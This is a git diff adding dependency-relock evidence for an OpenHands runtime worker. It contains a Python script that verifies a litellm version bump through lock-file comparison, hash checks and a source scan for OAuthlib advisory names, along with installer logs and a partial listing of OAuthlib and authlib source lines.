a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-verify.py.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-verify.py.txt new file mode 100644 index 000000000..eb6b5dc89 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-verify.py.txt @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +"""Bounded native package/source checks; no provider, image or host activation. + +The lock parser follows uv's generated requirements format. The source review +reuses the prior exact OAuthlib file hashes and compares official PyPI archives. +It is an integration check, never an upstream or dynamic reachability oracle. +""" +from pathlib import Path +import ast +import hashlib +import importlib.metadata as metadata +import json +import platform +import re +import sys +import tarfile +import zipfile + +private = Path(__file__).resolve().parent +root = Path(sys.argv[1]) +site = private / 'venv/lib/python3.13/site-packages' +evidence = root / 'blueprints/runtime-workers/openhands/evidence' +sha = lambda data: hashlib.sha256(data).hexdigest() + +def blocks(text): + result = {} + for part in re.split(r'(?m)(?=^[A-Za-z0-9])', text): + if part.strip(): + key = re.match(r'[A-Za-z0-9_.-]+', part).group() + assert key not in result + result[key] = part + return result + +before = (private / 'control.lock').read_bytes() +after = (private / 'candidate.lock').read_bytes() +assert before == (root / 'blueprints/runtime-workers/openhands/requirements.lock').read_bytes() +assert after == (private / 'candidate-no-config.lock').read_bytes() +a, b = blocks(before.decode()), blocks(after.decode()) +assert len(a) == len(b) == 176 and set(a) == set(b) +changed = [name for name in a if a[name] != b[name]] +assert changed == ['litellm'] +assert a['litellm'].splitlines()[0] == 'litellm==1.93.0 \\' +assert b['litellm'].splitlines()[0] == 'litellm==1.93.2 \\' +expected = dict(re.findall(r'(?m)^([A-Za-z0-9_.-]+)==([^\s\\;]+)', after.decode())) +expected.update({'openhands-sdk': '1.50.0', 'openhands-tools': '1.50.0'}) +mismatches = [{'name': n, 'expected': v, 'actual': metadata.version(n)} + for n, v in expected.items() if metadata.version(n) != v] +assert len(expected) == 176 and not mismatches +assert sys.implementation.name == 'cpython' and platform.python_version() == '3.13.15' +assert platform.system() == 'Linux' and platform.machine() == 'x86_64' + +historical = (evidence / 'pyjwt-relock-20260930-oauthlib-alias-callers.txt').read_text() +bindings = dict(re.findall(r'(?m)^([\w./-]+) sha256 ([0-9a-f]{64})$', historical)) +assert len(bindings) == 8 +bindings['func_timeout/py2_raise.py'] = '19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77' +identities = [] +for name, expected_hash in bindings.items(): + actual = sha((site / name).read_bytes()) + assert actual == expected_hash, name + identities.append({'path': name, 'sha256': actual}) + +pattern = re.compile(r'\boauthlib\b|RevocationEndpoint|AuthorizationCodeGrant|enable_jsonp|code_challenge_method_s256|code_challenge_method_plain') +reviews = [] +candidate_sources = {} +for version in ['1.93.0', '1.93.2']: + archive = private / ('litellm-' + version + '.tar.gz') + sources, hits, parse_errors = {}, [], [] + with tarfile.open(archive, 'r:gz') as handle: + for member in handle.getmembers(): + if not member.isfile() or '/litellm/' not in member.name or not member.name.endswith('.py'): + continue + relative = member.name.split('/', 1)[1] + data = handle.extractfile(member).read() + sources[relative] = data + text = data.decode('utf-8') + try: + ast.parse(text, filename=relative) + except SyntaxError as error: + parse_errors.append({'path': relative, 'line': error.lineno, 'message': error.msg}) + for number, line in enumerate(text.splitlines(), 1): + if pattern.search(line): + hits.append({'path': relative, 'line': number, 'text': line.strip()}) + assert not parse_errors and not hits + reviews.append({'version': version, 'archive_sha256': sha(archive.read_bytes()), + 'python_sources': len(sources), 'advisory_name_hits': hits, + 'parse_errors': parse_errors}) + if version == '1.93.2': + candidate_sources = sources + +wheel = private / 'litellm-1.93.2-cp313-cp313-manylinux_2_28_x86_64.whl' +wheel_sources = {} +installed_mismatches, sdist_mismatches = [], [] +with zipfile.ZipFile(wheel) as handle: + for name in handle.namelist(): + if name.startswith('litellm/') and name.endswith('.py'): + data = handle.read(name) + wheel_sources[name] = data + if (site / name).read_bytes() != data: + installed_mismatches.append(name) + if candidate_sources.get(name) != data: + sdist_mismatches.append(name) +assert len(wheel_sources) == len(candidate_sources) == 2104 +assert not installed_mismatches and not sdist_mismatches +import litellm +from openhands.sdk import LLM, Agent, Conversation +from openhands.tools.task import TaskToolSet +from openhands.tools.browser_use import BrowserToolSet +assert Path(litellm.__file__).resolve().is_relative_to(site.resolve()) +result = { + 'target': 'Linux x86_64 CPython 3.13.15 only', + 'baseline_requirements_sha256': sha(before), 'candidate_requirements_sha256': sha(after), + 'baseline_control_byte_identical': True, 'explicit_no_config_recompile_byte_identical': True, + 'declared_requirements': 176, 'changed_package_blocks': changed, 'other_package_blocks_byte_identical': 175, + 'added': [], 'removed': [], 'installed_versions_checked': len(expected), 'version_mismatches': mismatches, + 'installed_distributions_including_build_and_test_tools': len(list(metadata.distributions())), + 'qualification_tools': {name: metadata.version(name) for name in ['pytest', 'pytest-asyncio', 'pluggy', 'iniconfig']}, + 'oauth_review_identities': identities, 'official_sdist_name_reviews': reviews, + 'candidate_wheel_sha256': sha(wheel.read_bytes()), 'candidate_python_sources_compared': len(wheel_sources), + 'wheel_to_installed_mismatches': installed_mismatches, 'wheel_to_sdist_mismatches': sdist_mismatches, + 'native_imports_passed': True, + 'limitations': ['Static name/AST review does not prove semantic or dynamic unreachability.', + 'One compiled LiteLLM extension is not assessed by the Python source scan.', + 'No proxy-server, provider, model, image, host deployment or task-quality execution.'] +} +print(json.dumps(result, indent=2)) diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt new file mode 100644 index 000000000..6a381818e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt @@ -0,0 +1 @@ +Resolved 176 packages in 170ms diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt new file mode 100644 index 000000000..199a1cb33 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt @@ -0,0 +1 @@ +Resolved 176 packages in 20ms diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt new file mode 100644 index 000000000..c12f73ae3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt @@ -0,0 +1 @@ +Resolved 176 packages in 187ms diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt new file mode 100644 index 000000000..f8286a259 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt @@ -0,0 +1,3 @@ +Using Python 3.13.15 environment at: /venv +Checked 182 packages in 2ms +All installed packages are compatible diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt new file mode 100644 index 000000000..8030bf9aa --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt @@ -0,0 +1,3 @@ +Using Python 3.13.15 environment at: /venv +Checked 178 packages in 4ms +All installed packages are compatible diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt new file mode 100644 index 000000000..461e3d1db --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt @@ -0,0 +1 @@ +Resolved 176 packages in 167ms diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt new file mode 100644 index 000000000..01c3d5ec6 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt @@ -0,0 +1,7 @@ +Using Python 3.13.15 environment at: /venv +Resolved 6 packages in 97ms +Uninstalled 1 package in 2ms +Installed 2 packages in 15ms + - pytest==8.4.2 + + pytest==9.0.3 + + pytest-asyncio==1.3.0 diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt new file mode 100644 index 000000000..c6629b190 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt @@ -0,0 +1,477 @@ +# installed closure excluding OAuthlib itself and installer tooling: 10772 Python sources searched; parse errors: 0 +REVIEWED TEXT ONLY func_timeout/py2_raise.py:5: invalid syntax; sha256 19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77 + + +# Python2 allows specifying an alternate traceback. +def raise_exception(exception): + raise exception[0] , None , exception[0].__traceback__ + +## OAuthlib literal importers with aliases, from-imports and bound call sites +requests_oauthlib files: 6 +requests_oauthlib/compliance_fixes/instagram.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 19: oauthlib.common.add_params_to_uri +requests_oauthlib/compliance_fixes/slack.py + 3: oauthlib.common.add_params_to_uri bound as add_params_to_uri + call 30: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth1_auth.py + 4: oauthlib.common.extract_params bound as extract_params + 5: oauthlib.oauth1.Client bound as Client + 5: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 5: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + 6: oauthlib.oauth1.SIGNATURE_TYPE_BODY bound as SIGNATURE_TYPE_BODY + call 77: oauthlib.common.extract_params +requests_oauthlib/oauth1_session.py + 5: oauthlib.common.add_params_to_uri bound as add_params_to_uri + 6: oauthlib.common.urldecode bound as _urldecode + 7: oauthlib.oauth1.SIGNATURE_HMAC bound as SIGNATURE_HMAC + 7: oauthlib.oauth1.SIGNATURE_RSA bound as SIGNATURE_RSA + 7: oauthlib.oauth1.SIGNATURE_TYPE_AUTH_HEADER bound as SIGNATURE_TYPE_AUTH_HEADER + call 19: oauthlib.common.urldecode + call 253: oauthlib.common.add_params_to_uri +requests_oauthlib/oauth2_auth.py + 1: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 1: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 2: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 19: oauthlib.oauth2.WebApplicationClient + call 31: oauthlib.oauth2.is_secure_transport + call 32: oauthlib.oauth2.InsecureTransportError +requests_oauthlib/oauth2_session.py + 3: oauthlib.common.generate_token bound as generate_token + 3: oauthlib.common.urldecode bound as urldecode + 4: oauthlib.oauth2.WebApplicationClient bound as WebApplicationClient + 4: oauthlib.oauth2.InsecureTransportError bound as InsecureTransportError + 5: oauthlib.oauth2.LegacyApplicationClient bound as LegacyApplicationClient + 6: oauthlib.oauth2.TokenExpiredError bound as TokenExpiredError + 6: oauthlib.oauth2.is_secure_transport bound as is_secure_transport + call 78: oauthlib.oauth2.WebApplicationClient + call 267: oauthlib.oauth2.is_secure_transport + call 268: oauthlib.oauth2.InsecureTransportError + call 368: oauthlib.common.urldecode + call 371: oauthlib.common.urldecode + call 452: oauthlib.oauth2.is_secure_transport + call 453: oauthlib.oauth2.InsecureTransportError + call 478: oauthlib.common.urldecode + call 515: oauthlib.oauth2.is_secure_transport + call 516: oauthlib.oauth2.InsecureTransportError +## Advisory-related source references outside OAuthlib +authlib reference lines: 32 + authlib/integrations/django_oauth2/__init__.py:4: from .endpoints import RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:1: from authlib.oauth2.rfc7009 import RevocationEndpoint as _RevocationEndpoint + authlib/integrations/django_oauth2/endpoints.py:4: class RevocationEndpoint(_RevocationEndpoint): + authlib/integrations/django_oauth2/endpoints.py:15: server.register_endpoint(RevocationEndpoint) + authlib/integrations/django_oauth2/endpoints.py:21: RevocationEndpoint.ENDPOINT_NAME, request + authlib/integrations/sqla_oauth2/functions.py:70: from authlib.oauth2.rfc7009 import RevocationEndpoint + authlib/integrations/sqla_oauth2/functions.py:74: class _RevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc6749/__init__.py:28: from .grants import AuthorizationCodeGrant + authlib/oauth2/rfc6749/__init__.py:83: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/authorization_server.py:203: class AuthorizationCodeGrant(grants.AuthorizationCodeGrant): + authlib/oauth2/rfc6749/authorization_server.py:207: authorization_server.register_grant(AuthorizationCodeGrant) + authlib/oauth2/rfc6749/authorization_server.py:219: RevocationEndpoint:: + authlib/oauth2/rfc6749/authorization_server.py:221: authorization_server.register_endpoint(RevocationEndpoint) + authlib/oauth2/rfc6749/grants/__init__.py:23: from .authorization_code import AuthorizationCodeGrant + authlib/oauth2/rfc6749/grants/__init__.py:36: "AuthorizationCodeGrant", + authlib/oauth2/rfc6749/grants/authorization_code.py:20: class AuthorizationCodeGrant(BaseGrant, AuthorizationEndpointMixin, TokenEndpointMixin): + authlib/oauth2/rfc6749/grants/authorization_code.py:296: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): + authlib/oauth2/rfc7009/__init__.py:11: from .revocation import RevocationEndpoint + authlib/oauth2/rfc7009/__init__.py:13: __all__ = ["prepare_revoke_token_request", "RevocationEndpoint"] + authlib/oauth2/rfc7009/revocation.py:9: class RevocationEndpoint(TokenEndpoint): + authlib/oauth2/rfc7636/challenge.py:39: The AuthorizationCodeGrant SHOULD save the ``code_challenge`` and + authlib/oauth2/rfc7636/challenge.py:43: server.register_grant(AuthorizationCodeGrant, [CodeChallenge(required=True)]) + authlib/oauth2/rfc7636/challenge.py:62: self.validate_code_challenge, + authlib/oauth2/rfc7636/challenge.py:69: def validate_code_challenge(self, grant, redirect_uri): + authlib/oauth2/rfc9068/revocation.py:6: from ..rfc7009 import RevocationEndpoint + authlib/oauth2/rfc9068/revocation.py:9: class JWTRevocationEndpoint(RevocationEndpoint): + authlib/oauth2/rfc9068/revocation.py:11: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oauth2/rfc9068/revocation.py:20: :class:`~authlib.oauth2.rfc7009.RevocationEndpoint`. + authlib/oidc/core/grants/code.py:41: :param grant: AuthorizationCodeGrant instance + authlib/oidc/core/grants/code.py:136: The register this extension with AuthorizationCodeGrant:: + authlib/oidc/core/grants/code.py:139: AuthorizationCodeGrant, extensions=[MyOpenIDCode()] + authlib/oidc/core/grants/hybrid.py:28: class MyAuthorizationCodeGrant(AuthorizationCodeGrant): +# recipe: 12 Python sources searched; parse errors: 0 +## OAuthlib literal importers with aliases, from-imports and bound call sites +## Advisory-related source references outside OAuthlib +# Entered namespaces and advisory implementation: file hashes and source lines +oauthlib/__init__.py sha256 ccbf8a40b750b21931f842b1b416e0bb5cb24e97f54d127b42d7da38eb1d5dc4 +oauthlib/__init__.py:1: """ +oauthlib/__init__.py:2: oauthlib +oauthlib/__init__.py:3: ~~~~~~~~ +oauthlib/__init__.py:4: +oauthlib/__init__.py:5: A generic, spec-compliant, thorough implementation of the OAuth +oauthlib/__init__.py:6: request-signing logic. +oauthlib/__init__.py:7: +oauthlib/__init__.py:8: :copyright: (c) The OAuthlib Community +oauthlib/__init__.py:9: :license: BSD-3-Clause, see LICENSE for details. +oauthlib/__init__.py:10: """ +oauthlib/__init__.py:11: import logging +oauthlib/__init__.py:12: from logging import NullHandler +oauthlib/__init__.py:13: +oauthlib/__init__.py:14: __author__ = 'The OAuthlib Community' +oauthlib/__init__.py:15: __version__ = '3.3.1' +oauthlib/__init__.py:16: +oauthlib/__init__.py:17: logging.getLogger('oauthlib').addHandler(NullHandler()) +oauthlib/__init__.py:18: +oauthlib/__init__.py:19: _DEBUG = False +oauthlib/__init__.py:20: +oauthlib/__init__.py:21: def set_debug(debug_val): +oauthlib/__init__.py:22: """Set value of debug flag +oauthlib/__init__.py:23: +oauthlib/__init__.py:24: :param debug_val: Value to set. Must be a bool value. +oauthlib/__init__.py:25: """ +oauthlib/__init__.py:26: global _DEBUG # noqa: PLW0603 +oauthlib/__init__.py:27: _DEBUG = debug_val +oauthlib/__init__.py:28: +oauthlib/__init__.py:29: def get_debug(): +oauthlib/__init__.py:30: """Get debug mode value. +oauthlib/__init__.py:31: +oauthlib/__init__.py:32: :return: `True` if debug mode is on, `False` otherwise +oauthlib/__init__.py:33: """ +oauthlib/__init__.py:34: return _DEBUG +oauthlib/oauth1/__init__.py sha256 e3b84443bb3f1595cbc94b7a5d513e0cf0bcbd4315b0997bffe1c290d3362253 +oauthlib/oauth1/__init__.py:1: """ +oauthlib/oauth1/__init__.py:2: oauthlib.oauth1 +oauthlib/oauth1/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth1/__init__.py:4: +oauthlib/oauth1/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 1.0 Client +oauthlib/oauth1/__init__.py:6: and Server classes. +oauthlib/oauth1/__init__.py:7: """ +oauthlib/oauth1/__init__.py:8: from .rfc5849 import ( +oauthlib/oauth1/__init__.py:9: SIGNATURE_HMAC, SIGNATURE_HMAC_SHA1, SIGNATURE_HMAC_SHA256, +oauthlib/oauth1/__init__.py:10: SIGNATURE_HMAC_SHA512, SIGNATURE_PLAINTEXT, SIGNATURE_RSA, +oauthlib/oauth1/__init__.py:11: SIGNATURE_RSA_SHA1, SIGNATURE_RSA_SHA256, SIGNATURE_RSA_SHA512, +oauthlib/oauth1/__init__.py:12: SIGNATURE_TYPE_AUTH_HEADER, SIGNATURE_TYPE_BODY, SIGNATURE_TYPE_QUERY, +oauthlib/oauth1/__init__.py:13: Client, +oauthlib/oauth1/__init__.py:14: ) +oauthlib/oauth1/__init__.py:15: from .rfc5849.endpoints import ( +oauthlib/oauth1/__init__.py:16: AccessTokenEndpoint, AuthorizationEndpoint, RequestTokenEndpoint, +oauthlib/oauth1/__init__.py:17: ResourceEndpoint, SignatureOnlyEndpoint, WebApplicationServer, +oauthlib/oauth1/__init__.py:18: ) +oauthlib/oauth1/__init__.py:19: from .rfc5849.errors import ( +oauthlib/oauth1/__init__.py:20: InsecureTransportError, InvalidClientError, InvalidRequestError, +oauthlib/oauth1/__init__.py:21: InvalidSignatureMethodError, OAuth1Error, +oauthlib/oauth1/__init__.py:22: ) +oauthlib/oauth1/__init__.py:23: from .rfc5849.request_validator import RequestValidator +oauthlib/oauth2/__init__.py sha256 2bb207c3f04d0992d24d0a807d0aac2cad0ad3303afcaad00c2cdce12fb7de24 +oauthlib/oauth2/__init__.py:1: """ +oauthlib/oauth2/__init__.py:2: oauthlib.oauth2 +oauthlib/oauth2/__init__.py:3: ~~~~~~~~~~~~~~ +oauthlib/oauth2/__init__.py:4: +oauthlib/oauth2/__init__.py:5: This module is a wrapper for the most recent implementation of OAuth 2.0 Client +oauthlib/oauth2/__init__.py:6: and Server classes. +oauthlib/oauth2/__init__.py:7: """ +oauthlib/oauth2/__init__.py:8: +oauthlib/oauth2/__init__.py:9: from .rfc6749.clients import ( +oauthlib/oauth2/__init__.py:10: BackendApplicationClient, +oauthlib/oauth2/__init__.py:11: Client, +oauthlib/oauth2/__init__.py:12: LegacyApplicationClient, +oauthlib/oauth2/__init__.py:13: MobileApplicationClient, +oauthlib/oauth2/__init__.py:14: ServiceApplicationClient, +oauthlib/oauth2/__init__.py:15: WebApplicationClient, +oauthlib/oauth2/__init__.py:16: ) +oauthlib/oauth2/__init__.py:17: from .rfc6749.endpoints import ( +oauthlib/oauth2/__init__.py:18: AuthorizationEndpoint, +oauthlib/oauth2/__init__.py:19: BackendApplicationServer, +oauthlib/oauth2/__init__.py:20: IntrospectEndpoint, +oauthlib/oauth2/__init__.py:21: LegacyApplicationServer, +oauthlib/oauth2/__init__.py:22: MetadataEndpoint, +oauthlib/oauth2/__init__.py:23: MobileApplicationServer, +oauthlib/oauth2/__init__.py:24: ResourceEndpoint, +oauthlib/oauth2/__init__.py:25: RevocationEndpoint, +oauthlib/oauth2/__init__.py:26: Server, +oauthlib/oauth2/__init__.py:27: TokenEndpoint, +oauthlib/oauth2/__init__.py:28: WebApplicationServer, +oauthlib/oauth2/__init__.py:29: ) +oauthlib/oauth2/__init__.py:30: from .rfc6749.errors import ( +oauthlib/oauth2/__init__.py:31: AccessDeniedError, +oauthlib/oauth2/__init__.py:32: FatalClientError, +oauthlib/oauth2/__init__.py:33: InsecureTransportError, +oauthlib/oauth2/__init__.py:34: InvalidClientError, +oauthlib/oauth2/__init__.py:35: InvalidClientIdError, +oauthlib/oauth2/__init__.py:36: InvalidGrantError, +oauthlib/oauth2/__init__.py:37: InvalidRedirectURIError, +oauthlib/oauth2/__init__.py:38: InvalidRequestError, +oauthlib/oauth2/__init__.py:39: InvalidRequestFatalError, +oauthlib/oauth2/__init__.py:40: InvalidScopeError, +oauthlib/oauth2/__init__.py:41: MismatchingRedirectURIError, +oauthlib/oauth2/__init__.py:42: MismatchingStateError, +oauthlib/oauth2/__init__.py:43: MissingClientIdError, +oauthlib/oauth2/__init__.py:44: MissingCodeError, +oauthlib/oauth2/__init__.py:45: MissingRedirectURIError, +oauthlib/oauth2/__init__.py:46: MissingResponseTypeError, +oauthlib/oauth2/__init__.py:47: MissingTokenError, +oauthlib/oauth2/__init__.py:48: MissingTokenTypeError, +oauthlib/oauth2/__init__.py:49: OAuth2Error, +oauthlib/oauth2/__init__.py:50: ServerError, +oauthlib/oauth2/__init__.py:51: TemporarilyUnavailableError, +oauthlib/oauth2/__init__.py:52: TokenExpiredError, +oauthlib/oauth2/__init__.py:53: UnauthorizedClientError, +oauthlib/oauth2/__init__.py:54: UnsupportedGrantTypeError, +oauthlib/oauth2/__init__.py:55: UnsupportedResponseTypeError, +oauthlib/oauth2/__init__.py:56: UnsupportedTokenTypeError, +oauthlib/oauth2/__init__.py:57: ) +oauthlib/oauth2/__init__.py:58: from .rfc6749.grant_types import ( +oauthlib/oauth2/__init__.py:59: AuthorizationCodeGrant, +oauthlib/oauth2/__init__.py:60: ClientCredentialsGrant, +oauthlib/oauth2/__init__.py:61: ImplicitGrant, +oauthlib/oauth2/__init__.py:62: RefreshTokenGrant, +oauthlib/oauth2/__init__.py:63: ResourceOwnerPasswordCredentialsGrant, +oauthlib/oauth2/__init__.py:64: ) +oauthlib/oauth2/__init__.py:65: from .rfc6749.request_validator import RequestValidator +oauthlib/oauth2/__init__.py:66: from .rfc6749.tokens import BearerToken, OAuth2Token +oauthlib/oauth2/__init__.py:67: from .rfc6749.utils import is_secure_transport +oauthlib/oauth2/__init__.py:68: from .rfc8628.clients import DeviceClient +oauthlib/oauth2/__init__.py:69: from oauthlib.oauth2.rfc8628.endpoints import DeviceAuthorizationEndpoint, DeviceApplicationServer +oauthlib/oauth2/__init__.py:70: from oauthlib.oauth2.rfc8628.grant_types import DeviceCodeGrant +oauthlib/common.py sha256 39e686f928b00d7004b0ad5f921e4669b8123c68c6e0072ec2eab007986b1bf0 +oauthlib/common.py:185: return str(int(time.time())) +oauthlib/common.py:186: +oauthlib/common.py:187: +oauthlib/common.py:188: def generate_token(length=30, chars=UNICODE_ASCII_CHARACTER_SET): +oauthlib/common.py:189: """Generates a non-guessable OAuth token +oauthlib/common.py:190: +oauthlib/common.py:191: OAuth (1 and 2) does not specify the format of tokens except that they +oauthlib/common.py:192: should be strings of random characters. Tokens should not be guessable +oauthlib/common.py:193: and entropy when generating the random characters is important. Which is +oauthlib/common.py:194: why SystemRandom is used instead of the default random.choice method. +oauthlib/common.py:195: """ +oauthlib/common.py:196: rand = SystemRandom() +oauthlib/common.py:197: return ''.join(rand.choice(chars) for x in range(length)) +oauthlib/common.py:198: +oauthlib/common.py:199: +oauthlib/common.py:200: def generate_signed_token(private_pem, request): +oauthlib/common.py:201: import jwt # noqa: PLC0415 +oauthlib/common.py:202: +oauthlib/common.py:203: now = datetime.datetime.utcnow() +oauthlib/common.py:204: +oauthlib/common.py:205: claims = { +oauthlib/common.py:206: 'scope': request.scope, +oauthlib/common.py:207: 'exp': now + datetime.timedelta(seconds=request.expires_in) +oauthlib/common.py:208: } +oauthlib/common.py:209: +oauthlib/common.py:210: claims.update(request.claims) +oauthlib/common.py:211: +oauthlib/common.py:212: token = jwt.encode(claims, private_pem, 'RS256') +oauthlib/common.py:213: token = to_unicode(token, "UTF-8") +oauthlib/common.py:214: +oauthlib/common.py:215: return token +oauthlib/common.py:216: +oauthlib/common.py:217: +oauthlib/common.py:218: def verify_signed_token(public_pem, token): +oauthlib/common.py:219: import jwt # noqa: PLC0415 +oauthlib/common.py:220: +oauthlib/common.py:221: return jwt.decode(token, public_pem, algorithms=['RS256']) +oauthlib/common.py:222: +oauthlib/common.py:223: +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:1: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:2: oauthlib.oauth2.rfc6749.endpoint.revocation +oauthlib/oauth2/rfc6749/endpoints/revocation.py:3: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:4: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:5: An implementation of the OAuth 2 `Token Revocation`_ spec (draft 11). +oauthlib/oauth2/rfc6749/endpoints/revocation.py:6: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:7: .. _`Token Revocation`: https://tools.ietf.org/html/draft-ietf-oauth-revocation-11 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:8: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:9: import logging +oauthlib/oauth2/rfc6749/endpoints/revocation.py:10: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:11: from oauthlib.common import Request +oauthlib/oauth2/rfc6749/endpoints/revocation.py:12: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:13: from ..errors import OAuth2Error +oauthlib/oauth2/rfc6749/endpoints/revocation.py:14: from .base import BaseEndpoint, catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:15: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:16: log = logging.getLogger(__name__) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:17: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:18: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:19: class RevocationEndpoint(BaseEndpoint): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:20: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:21: """Token revocation endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:22: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:23: Endpoint used by authenticated clients to revoke access and refresh tokens. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:24: Commonly this will be part of the Authorization Endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:25: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:26: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:38: @catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:39: def create_revocation_response(self, uri, http_method='POST', body=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:40: headers=None): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:41: """Revoke supplied access or refresh token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:42: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:43: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:44: The authorization server responds with HTTP status code 200 if the +oauthlib/oauth2/rfc6749/endpoints/revocation.py:45: token has been revoked successfully or if the client submitted an +oauthlib/oauth2/rfc6749/endpoints/revocation.py:46: invalid token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:47: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:48: Note: invalid tokens do not cause an error response since the client +oauthlib/oauth2/rfc6749/endpoints/revocation.py:49: cannot handle such an error in a reasonable way. Moreover, the purpose +oauthlib/oauth2/rfc6749/endpoints/revocation.py:50: of the revocation request, invalidating the particular token, is 